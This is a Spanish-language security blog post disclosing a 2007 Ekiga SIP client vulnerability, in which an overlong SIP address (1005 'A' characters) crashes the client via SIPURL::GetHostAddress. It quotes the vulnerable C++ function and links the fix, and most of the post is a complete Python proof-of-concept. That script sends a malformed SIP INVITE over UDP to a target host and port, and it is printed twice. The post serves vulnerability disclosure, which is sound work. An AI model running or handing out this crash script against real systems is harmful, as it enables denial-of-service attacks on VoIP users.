
Si estás interesado en obtener más información sobre la vulnerabilidad de Ekiga publicada hoy (notificada al equipo de Ekiga en Julio de 2007) entonces esta entrada del blog es la que estabas buscando.
El bug se debe a un tema de reasignación de memoria y de bloqueos al mandar una dirección SIP larga(1005 A's) desde la función SIPURL::GetHostAddress que es donde se extrae la cadena de A's.
Este bug parece que se resolvió exactamente en la siguiente revisión de ekiga: http://openh323.cvs.sourceforge.net/openh323/opal/src/sip/sipcon.cxx?r1=2.120.2.25&r2=2.120.2.26&pathrev=v2_2_9
La parte vulnerable del código es la siguiente:
OpalTransportAddress SIPURL::GetHostAddress() const
{
PString addr = paramVars("transport", "udp") + '$';
if (paramVars.Contains("maddr"))
addr += paramVars["maddr"];
else
addr += hostname;
if (port != 0)
addr.sprintf(":%u", port);
return addr;
}
La prueba de concepto es la siguiente (PoC):
#!/usr/bin/python
# ekiga207_crash by José Miguel Esparza
# 2007 S21sec Labs
import sys,socket
if len(sys.argv) != 3:
print "Usage: ekiga207_crash.py target_host target_port\n"
sys.exit(1)
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@172.91.1.133:5060\r\n"+\
"Content-Length:417\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()
import sys,socket
if len(sys.argv) != 3:
print "Usage: ekiga207_crash.py target_host target_port\n"
sys.exit(1)
target = sys.argv[1]
targetPort = int(sys.argv[2])
malformedRequest = "INVITE "+'A'*1005+" SIP/2.0\r\n"+\
"Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\
"Contact:sip:pepe@172.91.1.133:5060\r\n"+\
"Content-Length:417\r\n"+\
"Content-Type:application/sdp\r\n"+\
"CSeq:4321 INVITE\r\n"+\
"From:sip:pepe@172.91.1.148:5060;tag=a48s\r\n"+\
"Max-Forwards:70\r\n"+\
"To:sip:paco@micasa.com\r\n"+\
"Via:SIP/2.0/UDP 172.91.1.148:5060;branch=z9hG4bK74b76\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((target,targetPort))
s.sendall(malformedRequest)
s.close()











0 comentarios:
Publicar un comentario en la entrada